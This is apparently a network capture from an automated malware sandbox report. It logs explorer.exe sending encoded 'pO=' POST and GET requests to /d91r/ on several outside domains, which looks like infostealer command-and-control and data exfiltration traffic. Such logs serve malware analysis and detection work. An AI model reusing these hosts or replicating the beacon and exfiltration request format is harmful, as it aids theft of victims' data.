Mar 20, 2023 15:21:40.942915916 CET	1074	OUT	Data Raw: 39 35 4c 4e 37 4e 69 4f 66 4e 4d 4e 35 37 4d 54 51 46 44 37 45 71 34 74 4c 2d 51 48 37 51 47 41 63 4b 58 73 78 75 75 59 6c 68 7a 44 36 63 34 50 44 50 62 4c 62 43 63 55 52 78 50 74 45 45 74 58 46 54 5a 67 38 4e 4d 5f 7e 38 6c 63 69 71 4e 7a 75 64 Data Ascii: 95LN7NiOfNMN57MTQFD7Eq4tL-QH7QGAcKXsxuuYlhzD6c4PDPbLbCcURxPtEEtXFTZg8NM_~8lciqNzudpyxcPztuUxyoNGGW4J(Yw6pSJ8dsStf-gl9iKIwJU32gTrCA7eNZdGD_EP2P25P7QDWHx9ImTKJ6UZRH9PWz(36UvZGPw1XMNCbhZ2MmWAUcuxTa0ajwzZKa8k(yQKaG5G9QjoQQrL1luIugF6KXVqGbyh2RP6WkE
Mar 20, 2023 15:21:40.943082094 CET	1075	OUT	Data Raw: 57 56 56 72 79 4f 6c 33 55 33 4b 68 44 76 59 4a 71 34 35 31 38 37 75 73 33 43 33 6f 4a 49 70 31 7e 71 75 54 6e 4a 35 47 6a 33 4b 45 52 71 71 6d 37 41 79 6b 36 43 75 7a 76 75 59 65 34 67 38 32 4b 38 38 56 31 79 51 63 4f 6f 47 48 70 52 70 70 55 32 Data Ascii: WVVryOl3U3KhDvYJq45187us3C3oJIp1~quTnJ5Gj3KERqqm7Ayk6CuzvuYe4g82K88V1yQcOoGHpRppU2lhIcTZHPJhp2BMhvmyfBN-xwNhuXwlTZ5rxbTRR3Q0AmwModbtOBlUXZY4qPqgO8Ikf_Ny3BQOOY1xuAJeSTCxS0KlVr9xKWAtuhtRfQdt7sizxb5N4C1R0LU0(8GSg5BXF38puNb_Jq1WtczofbKy83opYhYc~mR
Mar 20, 2023 15:21:40.943226099 CET	1076	OUT	Data Raw: 77 47 77 52 4b 6c 36 37 65 6c 5a 6a 6c 47 45 58 53 6f 5a 48 70 65 47 56 71 30 4c 72 49 34 4f 35 45 59 31 70 4d 71 37 6b 52 39 79 50 77 4c 4b 31 53 77 30 6c 36 4d 49 36 70 38 76 6d 4a 50 63 59 35 32 64 4a 45 6f 43 38 4b 32 4a 6c 69 38 61 58 55 58 Data Ascii: wGwRKl67elZjlGEXSoZHpeGVq0LrI4O5EY1pMq7kR9yPwLK1Sw0l6MI6p8vmJPcY52dJEoC8K2Jli8aXUXnpPTOuAGRoFsriepq6qAKjDWkmE5rrm1qKj6QClhBp15Hp66ktHJFPyjkGkZ3pXwOMYXeMvgv_DrMmOE3UCUYWPVqciec6iQLKnIQdCCWmxWHHDuDckqgRzyz80zUm~wNbx2P02iUp(r45kpaxdBpfIkdAH59RhAA
Mar 20, 2023 15:21:40.951528072 CET	1079	OUT	Data Raw: 50 35 74 56 74 6c 62 4a 33 4c 4a 5a 69 37 4b 37 45 66 34 59 61 79 75 41 42 6f 56 41 4b 78 61 7a 61 79 6c 55 64 78 34 64 75 71 79 38 32 4e 66 36 53 35 4c 4c 39 42 50 69 42 59 59 4a 38 47 38 4d 6b 49 46 75 43 57 50 45 79 45 6c 6b 4e 38 41 76 52 53 Data Ascii: P5tVtlbJ3LJZi7K7Ef4YayuABoVAKxazaylUdx4duqy82Nf6S5LL9BPiBYYJ8G8MkIFuCWPEyElkN8AvRS7CNgZmET4rRATEtvthdqyENI3t5fp9ZRs49FcUDXHdSScGhZgqnir90C5rqQs8ONQacANThblD2_xeA6FNA8pk91XZyLm45O64pGQrOfb9wwroIrEakabm7dj_Gxo9RbqaXgO_54TZ5i0gSAd9p7cZl6GctXqdIpn
Mar 20, 2023 15:21:40.951699018 CET	1084	OUT	Data Raw: 58 76 46 52 34 4c 77 44 78 50 50 6b 52 6b 54 45 4a 30 78 51 30 34 77 74 4d 68 6c 4b 4b 52 75 6f 6c 68 33 4b 46 6d 63 64 4b 45 41 6c 28 6f 44 34 4e 70 79 6e 44 77 4f 5f 78 44 77 63 51 7a 4c 72 6f 43 42 4e 77 66 49 72 36 50 35 30 57 56 53 4e 65 70 Data Ascii: XvFR4LwDxPPkRkTEJ0xQ04wtMhlKKRuolh3KFmcdKEAl(oD4NpynDwO_xDwcQzLroCBNwfIr6P50WVSNepb0XDYaIvNO82k5pqk8(qd4pAaeKDvAVpGyCZtfwXwMq1EoTLF54YMaJBQpA6ya8cazHCnK2bO4RnehON76MmpgrtHmFy8qzhNEe7UmEHh6Akjg5_Sa2y8ew_GcrJ1t1lQanU8zaSoFBTQYxvH6bhhrf2LGn_SMUxA
Mar 20, 2023 15:21:40.951879978 CET	1089	OUT	Data Raw: 77 31 4c 49 6b 49 50 63 44 6a 31 6b 41 44 46 73 39 64 52 46 45 43 64 54 6f 4c 32 45 4d 46 36 44 55 62 50 6b 77 74 43 77 65 62 67 6e 41 47 35 6b 76 5a 7a 75 4d 4f 75 59 6f 41 41 6d 31 36 66 32 28 51 67 42 76 32 56 4b 6b 77 73 57 65 6c 50 6b 73 69 Data Ascii: w1LIkIPcDj1kADFs9dRFECdToL2EMF6DUbPkwtCwebgnAG5kvZzuMOuYoAAm16f2(QgBv2VKkwsWelPksi4Nseb28FtPVPVHwTgg(0xNDdXt2ROqmJQ-Jq9xgSj8D_XsG4E_VGBEPFgU(yvLPiqtVYynGpVnq3ktsqXfjLzxY6Vy0GwQMMkQL1YEUkiM9Bpnmy9Vq-zuuItAGsQj1FsFvNKA5Y4ISr2SpK3f(Sh8s_SKxwhNOtb
Mar 20, 2023 15:21:40.963830948 CET	1092	IN	HTTP/1.1 403 Forbidden Date: Mon, 20 Mar 2023 14:21:40 GMT Content-Type: text/html Content-Length: 146 X-Seen-By: GXNXSWFXisshliUcwO20NXdyD4zpCpFzpCPkLds0yMfUULPX/0mKWXsvRp6aPYGx,qquldgcFrj2n046g4RNSVCA9lUGGSSQQI3tXitet/XU= X-Wix-Request-Id: 1679322100.95816603592616585 X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	49886	34.117.168.233	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:43.461874008 CET	1093	OUT	GET /d91r/?pO=9I8nCmGbZhqNwxnuseOoBgVoo3mEoWGWlq2S/FO71IXVKobHlwQLLDq9ejz9WGKrhGOo7OtXutt8bUbRiDDVGcEjYwCLb2KUDQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.ghostdyes.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:21:43.524441957 CET	1094	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2963 x-wix-request-id: 1679322103.4695618863116284 Age: 0 X-Seen-By: GXNXSWFXisshliUcwO20NZL9Lwun+M+7c/tw2Pto8/F7ohSd5HIQqoFCM0zJgPyv,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI=,2d58ifebGbosy5xc+FRalva/s2Uz+//8Dgi8t/1luAz/QbVp6wEadlUzhlKxknx7joe2GMQJ/MdiMK4Y/vI70/GYpY0jwc2V0ffjEpF8ZOk=,2UNV7KOq4oGjA5+PKsX47MyzModdCYt257tfZB2IvZxWd3xniMsr1HjrszKGvMzr,7npGRUZHWOtWoP0Si3wDp7WuSH68sZSiNuj4ZnGbshE=,xTu8fpDe3EKPsMR1jrheEFh8snUNMLtzOL8a9BwCJbo=,9y9YchCOVZDNGbMpBN9Nen8we+LJBD9J+bPjNC08B8sa3lU1BGOI9YTroi2N8RJXCONUzZLbexpS3PEZaUF96g== Vary: Accept-Encoding server-timing: cache;desc=miss, varnish;desc=miss, dc;desc=euw3_g X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Via: 1.1 google Connection: close Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="no
Mar 20, 2023 15:21:43.524571896 CET	1095	IN	Data Raw: 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 77 69 78 2e 63 6f 6d 2f 66 61 76 69 63 Data Ascii: index, nofollow"> ... --> <link type="image/png" href="//www.wix.com/favicon.ico" rel="shortcut icon"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" type="text/cs
Mar 20, 2023 15:21:43.524624109 CET	1097	IN	Data Raw: 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 32 39 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: om/services/wix-public/1.299.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.299.0/scripts/error-pages/app.js"></script> ... --><script> angular.module('wix

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	49887	23.83.160.9	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:50.351905107 CET	1098	OUT	POST /d91r/ HTTP/1.1 Host: www.aznqmd.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.aznqmd.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aznqmd.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 43 4f 50 48 76 33 71 57 49 4e 57 4c 62 4d 46 42 53 6d 28 67 73 71 63 65 4e 72 71 4a 5a 75 4c 6d 50 57 34 55 7e 49 34 30 52 55 4d 64 36 67 76 39 4a 5a 28 6b 57 47 47 77 51 44 5a 34 58 5a 30 34 32 33 33 2d 78 63 71 59 4e 59 44 71 45 49 51 44 77 70 28 6e 6a 6a 53 70 73 68 58 6f 77 49 72 4f 42 79 36 52 72 57 4e 36 33 50 64 48 52 53 6a 76 61 31 4f 6b 63 31 54 36 46 56 34 79 52 75 5a 41 39 6c 7a 62 70 38 6b 59 50 36 77 55 42 39 49 48 41 7a 44 73 36 79 47 7a 56 38 58 34 61 56 36 6b 50 35 56 4d 73 30 44 34 71 66 59 69 42 34 28 4e 61 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=COPHv3qWINWLbMFBSm(gsqceNrqJZuLmPW4U~I40RUMd6gv9JZ(kWGGwQDZ4XZ04233-xcqYNYDqEIQDwp(njjSpshXowIrOBy6RrWN63PdHRSjva1Okc1T6FV4yRuZA9lzbp8kYP6wUB9IHAzDs6yGzV8X4aV6kP5VMs0D4qfYiB4(Nag).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	49889	23.83.160.9	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:53.028796911 CET	1106	OUT	POST /d91r/ HTTP/1.1 Host: www.aznqmd.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.aznqmd.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aznqmd.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 43 4f 50 48 76 33 71 57 49 4e 57 4c 5a 74 56 42 51 41 33 67 6b 71 63 64 4f 72 71 4a 53 4f 4c 69 50 57 38 55 7e 4b 55 65 52 6d 6f 64 36 41 66 39 49 59 28 6b 58 47 47 77 49 7a 5a 39 59 35 30 78 32 33 36 4c 78 63 6d 59 4e 59 58 71 46 37 59 44 34 35 28 6b 6f 44 53 71 72 68 58 72 30 49 72 59 42 31 7a 2d 72 55 78 36 30 5f 42 48 51 55 66 76 65 68 36 6c 59 56 54 34 48 56 34 39 62 4f 5a 47 39 6c 28 69 70 39 64 6a 4d 4a 73 55 42 64 6f 48 48 44 44 74 76 53 48 35 58 38 57 36 4c 6b 4c 6f 49 34 39 56 31 30 66 49 74 62 35 50 43 70 58 42 4a 6e 4e 34 39 39 72 6a 42 31 33 51 62 68 4c 72 52 57 47 63 64 41 77 52 79 48 61 69 7e 34 6c 69 54 6a 77 61 67 45 5a 6c 34 6b 28 58 78 53 47 4c 6a 73 55 70 4a 65 6c 54 42 31 6f 49 6f 75 39 6f 78 6f 4f 62 59 4f 63 7a 4b 59 76 77 7a 54 7a 42 76 79 74 51 58 6e 62 6a 57 32 77 48 6b 50 6a 79 64 63 55 4e 4d 6e 6d 4d 78 38 57 41 75 77 66 32 73 45 76 46 39 4f 32 2d 33 7a 44 5a 4a 37 62 56 4d 4a 6c 68 38 6d 61 56 31 4c 62 32 30 70 4d 62 42 72 31 35 30 74 6b 6b 63 2d 49 77 71 54 64 4d 36 4a 70 4d 6f 5f 7e 59 39 7a 58 59 65 36 46 79 4a 4c 45 4d 4a 4e 65 5f 61 66 7a 6a 64 74 42 78 37 37 55 65 61 63 46 41 71 4b 63 4a 64 63 70 31 4b 43 6b 4c 6f 32 50 79 54 6d 76 67 6a 4f 47 54 28 43 77 5f 7a 44 39 5f 46 4e 59 72 32 51 56 73 55 53 47 79 6a 32 49 51 62 32 68 4e 4c 5f 75 55 56 33 64 57 6f 46 71 69 43 68 44 59 4b 79 66 45 6f 37 6c 6c 4d 55 48 55 59 68 35 34 50 4a 41 4a 46 71 5a 59 28 34 38 4c 70 4f 45 54 31 64 53 46 50 50 69 6a 44 5f 31 42 47 4c 45 2d 4e 35 53 66 55 6a 6a 77 37 74 34 6c 4f 70 6d 4c 48 59 28 74 42 6a 30 5f 46 75 38 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=COPHv3qWINWLZtVBQA3gkqcdOrqJSOLiPW8U~KUeRmod6Af9IY(kXGGwIzZ9Y50x236LxcmYNYXqF7YD45(koDSqrhXr0IrYB1z-rUx60_BHQUfveh6lYVT4HV49bOZG9l(ip9djMJsUBdoHHDDtvSH5X8W6LkLoI49V10fItb5PCpXBJnN499rjB13QbhLrRWGcdAwRyHai~4liTjwagEZl4k(XxSGLjsUpJelTB1oIou9oxoObYOczKYvwzTzBvytQXnbjW2wHkPjydcUNMnmMx8WAuwf2sEvF9O2-3zDZJ7bVMJlh8maV1Lb20pMbBr150tkkc-IwqTdM6JpMo_~Y9zXYe6FyJLEMJNe_afzjdtBx77UeacFAqKcJdcp1KCkLo2PyTmvgjOGT(Cw_zD9_FNYr2QVsUSGyj2IQb2hNL_uUV3dWoFqiChDYKyfEo7llMUHUYh54PJAJFqZY(48LpOET1dSFPPijD_1BGLE-N5SfUjjw7t4lOpmLHY(tBj0_Fu8.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49846	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:39.532383919 CET	526	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 66 48 79 28 6d 4f 4f 43 6e 79 6c 45 4a 76 52 4a 4b 75 31 6b 59 37 32 72 76 35 37 69 69 4e 61 74 73 66 34 46 38 68 5f 35 36 4a 6c 61 31 62 63 6c 41 6c 7a 56 33 30 38 64 52 79 7a 74 4c 45 30 49 51 67 45 61 56 38 69 63 62 30 74 52 49 65 42 64 51 54 4d 54 6d 6b 33 72 2d 47 59 34 6d 44 5a 6c 50 30 6d 53 62 62 52 46 65 68 79 36 77 6a 48 5a 6f 69 56 78 4b 64 2d 55 62 4b 59 59 64 34 72 4c 66 6d 43 48 30 46 65 62 74 50 41 4d 38 7e 42 39 2d 77 73 42 65 7e 62 73 38 45 31 69 70 6d 68 30 6b 61 2d 46 6f 76 64 77 2d 66 57 51 61 68 4b 43 6c 28 65 73 51 4c 6c 4c 78 38 57 77 52 74 49 46 69 4a 74 4b 66 30 59 5a 44 66 4f 4b 5f 30 49 62 46 4c 45 4a 4d 44 5f 59 6b 45 38 6a 42 61 33 74 5a 49 48 37 2d 39 75 28 33 57 58 51 79 36 49 4a 65 73 32 45 33 6d 61 64 33 30 2d 4b 42 55 4b 61 41 53 76 4e 31 6c 49 76 41 77 35 55 47 65 6b 66 4e 78 41 62 72 77 35 73 6f 63 56 78 6c 58 5a 48 54 4c 31 6d 5f 73 79 56 32 46 30 66 58 53 4e 77 61 37 4d 31 54 62 48 4c 4e 43 58 31 66 57 49 31 79 77 76 38 6b 6b 6e 34 66 35 7a 6b 5a 6e 63 66 69 51 79 70 4d 30 47 7a 44 74 46 33 70 71 7a 44 51 62 59 52 38 5a 6e 39 51 42 58 66 56 70 61 28 7a 41 6a 70 76 42 49 59 71 76 43 78 53 70 6b 6b 72 6c 45 54 39 4a 62 36 41 54 56 6f 6e 66 4d 28 44 5a 65 32 77 76 76 4a 55 7e 6d 78 63 66 42 48 68 70 6d 4b 33 58 4c 73 35 32 4b 77 77 34 32 52 6a 33 64 51 6a 4c 69 6d 6f 72 46 55 4e 56 7a 30 63 63 65 54 58 46 51 6d 33 6f 38 37 4d 4a 63 32 62 6b 63 73 49 77 62 34 44 39 43 7a 38 4e 50 71 71 31 63 4c 65 76 57 64 79 74 46 4c 33 68 65 38 52 78 76 54 42 42 31 5a 6d 48 6b 69 52 66 63 54 4a 61 63 4f 46 70 63 73 44 74 56 44 62 7a 6e 48 6e 74 65 58 6c 6a 34 28 35 6b 4d 65 59 56 7a 7a 7a 43 58 78 59 7a 65 57 61 59 61 63 2d 54 43 50 53 36 68 69 75 53 31 35 6e 32 42 42 38 75 59 45 44 7a 6c 79 30 78 50 33 67 43 57 58 74 77 78 62 4a 6e 36 58 75 62 41 68 4f 50 49 78 4c 69 73 28 47 77 53 63 51 56 4e 65 32 42 76 75 6b 32 36 53 70 4e 6d 4f 72 39 58 59 37 6d 78 55 74 49 51 6d 33 28 7a 4f 30 31 59 45 42 6c 69 4c 43 74 64 4d 72 6d 34 56 61 76 78 7a 49 6b 32 4a 4e 28 69 4d 33 63 38 73 65 65 32 47 35 4c 67 79 36 38 4c 72 55 71 68 68 47 62 38 74 63 50 65 28 78 61 6b 7a 59 69 6c 48 41 66 63 7a 51 50 53 4e 52 6f 64 7a 79 48 2d 66 33 52 57 71 6b 63 32 35 31 66 43 37 79 46 35 7e 76 34 69 57 71 51 42 32 38 73 67 4b 32 35 55 39 5a 76 56 70 31 6b 4d 37 4f 58 4a 52 5a 46 55 61 68 4c 7a 7a 32 57 31 69 2d 52 34 51 61 52 78 75 30 62 44 32 36 6f 36 43 35 4c 4d 71 57 45 6e 7e 38 73 72 69 31 47 30 73 78 7a 71 6e 6d 6b 32 75 37 6f 56 4e 49 49 73 39 77 52 51 51 78 64 47 58 4b 4a 6a 5a 32 41 6f 77 4a 4c 63 6c 6b 68 46 32 48 54 77 56 74 69 64 73 56 6b 56 56 6f 59 35 49 42 46 43 39 75 7e 62 43 4d 56 48 69 6a 64 6d 54 39 59 61 63 56 34 5a 52 68 42 52 55 50 62 6d 41 78 6e 48 62 47 61 50 61 33 5a 75 4e 46 6b 6d 6c 6a 59 4d 35 58 44 76 54 77 4d 6b 30 63 72 52 71 48 34 78 71 49 64 76 4c 36 37 4e 56 42 4b 54 6e 6f 79 72 47 50 38 45 48 49 34 4c 66 57 79 30 6d 5a 36 4c 34 52 74 76 56 72 49 55 67 58 4d 54 6e 74 7a 42 34 4f 67 5f 44 55 41 4a 45 51 69 6c 5a 34 6d 45 69 37 6f 42 71 31 6d 36 74 37 56 54 67 68 52 38 71 4c 70 6a 68 39 6c 6b 32 51 4b 64 4a 41 37 41 73 57 4b 32 6c 62 76 78 75 39 4e 64 38 4c 52 6c 58 77 4e 43 74 32 31 61 4c 2d 46 75 43 48 58 47 6b 45 78 53 48 6a 58 4c 39 48 6b 61 34 39 62 4f 31 73 54 53 6c 45 61 46 34 61 4c 50 31 4b 4e 57 37 6a 43 76 34 59 38 46 75 4f 56 71 52 6e 53 31 4b 56 6d 7a 43 5f 49 47 43 50 28 57 75 43 4c 48 55 38 76 53 6f 66 56 7a 4f 63 38 2d 53 6d 31 78 7a 36 48 56 43 35 65 77 64 5a 36 78 6c 44 6b 6b 63 6c 79 70 6d 44 6c 5f 4b 54 79 6c 48 69 34 5f 64 65 30 64 77 50 73 62 70 39 65 41 61 75 6e 49 63 7a 50 57 47 4b 31 5f 34 38 67 61 56 6f 47 50 55 41 36 34 6d 37 66 6c 77 6a 47 66 48 67 47 70 51 51 75 7a 72 4e 54 44 46 64 39 51 6c 62 71 47 34 66 78 6b 75 2d 37 65 78 69 58 55 7e 36 71 32 6b 2d 4e 4f 65 47 62 4e 41 30 49 32 51 37 42 41 65 4f 63 79 77 57 72 4d 4e 43 68 71 48 49 69 65 55 4b 5a 6e 6f 78 62 35 4f 31 41 36 47 32 76 62 69 4e 58 71 78 5a 42 31 56 63 6e 7a 41 53 35 44 6e 74 52 79 4d 73 62 39 6d 76 77 6e 47 56 41 56 28 66 53 67 32 66 6b 72 75 47 39 50 Data Ascii: pO=8HLQrBsjwdeVUfHy(mOOCnylEJvRJKu1kY72rv57iiNatsf4F8h_56Jla1bclAlzV308dRyztLE0IQgEaV8icb0tRIeBdQTMTmk3r-GY4mDZlP0mSbbRFehy6wjHZoiVxKd-UbKYYd4rLfmCH0FebtPAM8~B9-wsBe~bs8E1ipmh0ka-Fovdw-fWQahKCl(esQLlLx8WwRtIFiJtKf0YZDfOK_0IbFLEJMD_YkE8jBa3tZIH7-9u(3WXQy6IJes2E3mad30-KBUKaASvN1lIvAw5UGekfNxAbrw5socVxlXZHTL1m_syV2F0fXSNwa7M1TbHLNCX1fWI1ywv8kkn4f5zkZncfiQypM0GzDtF3pqzDQbYR8Zn9QBXfVpa(zAjpvBIYqvCxSpkkrlET9Jb6ATVonfM(DZe2wvvJU~mxcfBHhpmK3XLs52Kww42Rj3dQjLimorFUNVz0cceTXFQm3o87MJc2bkcsIwb4D9Cz8NPqq1cLevWdytFL3he8RxvTBB1ZmHkiRfcTJacOFpcsDtVDbznHnteXlj4(5kMeYVzzzCXxYzeWaYac-TCPS6hiuS15n2BB8uYEDzly0xP3gCWXtwxbJn6XubAhOPIxLis(GwScQVNe2Bvuk26SpNmOr9XY7mxUtIQm3(zO01YEBliLCtdMrm4VavxzIk2JN(iM3c8see2G5Lgy68LrUqhhGb8tcPe(xakzYilHAfczQPSNRodzyH-f3RWqkc251fC7yF5~v4iWqQB28sgK25U9ZvVp1kM7OXJRZFUahLzz2W1i-R4QaRxu0bD26o6C5LMqWEn~8sri1G0sxzqnmk2u7oVNIIs9wRQQxdGXKJjZ2AowJLclkhF2HTwVtidsVkVVoY5IBFC9u~bCMVHijdmT9YacV4ZRhBRUPbmAxnHbGaPa3ZuNFkmljYM5XDvTwMk0crRqH4xqIdvL67NVBKTnoyrGP8EHI4LfWy0mZ6L4RtvVrIUgXMTntzB4Og_DUAJEQilZ4mEi7oBq1m6t7VTghR8qLpjh9lk2QKdJA7AsWK2lbvxu9Nd8LRlXwNCt21aL-FuCHXGkExSHjXL9Hka49bO1sTSlEaF4aLP1KNW7jCv4Y8FuOVqRnS1KVmzC_IGCP(WuCLHU8vSofVzOc8-Sm1xz6HVC5ewdZ6xlDkkclypmDl_KTylHi4_de0dwPsbp9eAaunIczPWGK1_48gaVoGPUA64m7flwjGfHgGpQQuzrNTDFd9QlbqG4fxku-7exiXU~6q2k-NOeGbNA0I2Q7BAeOcywWrMNChqHIieUKZnoxb5O1A6G2vbiNXqxZB1VcnzAS5DntRyMsb9mvwnGVAV(fSg2fkruG9PWeT3T8DRcmxvE1dWmF5xaJplYC6D3PIRhO4oeSdDaPvVX51rr1RwEOYFm1TTgIs6NsN4VonqcPAHe1Kr6mvOGfB8ZSAiBWTRfTqGDe5ga6RXBxXn9DCstyRhHBgp9FtuCoW6YINgYIpGfyevnmO4hjxybwTynUj6sO8cigSqR4wwQFyZTFTUokPeHyU7CZsXfolWqQoy~a0lm4b41NMNTp8R2Cs9QtR4~8MEMmnTvotPmWKwazaYw1s1~5l4GDNEes9wihvqrTPFXbK8WrLLP0~euGWYQtkWOTaG9VWWjESV66xt45s5ctQVEPHPQ_D5tbPltmxQysD4aLTiiN5DzpoqB9qE6nURgthL901buXDS4r0Hm_DNcCXa9hfi8rbHdTr21QKLcY2e~aDWZbGctCZkGe~SGQywZ8Ny1aopTHSKBIA8VYjiOnwPlfIJhKqWO5nMAIksaj0zqIh2vfMrI1qY6wHqeN9E0Sj7RGQM5ieeC_vmsRYwZ3BQ0DaAD1zPMJ7kV04XFI5x(zD92G5Xe9kpkytZ7XZT~d(ZvgNanqEdML3eLyyngmxV8XVLPglWxoby42dKQqM7az9SkDXLN7RvbZTHAlGnmXfwaX4qVEh_GQTgrGtZHF0Nl4hLcyA-ST9WvqOnUj3fByFuPSxV(5M3tg0nsNqJkbI5PZyyIiIgldO4R7N_1owS131y54e_5jE-otQUuH3wpSJKu-aLbXCGCxanVw(riD5dZ0kkrvQ4JsT5MwUNtasMEBxcCAKZgvYVl_d6tYdcRSjLmxCAWBa
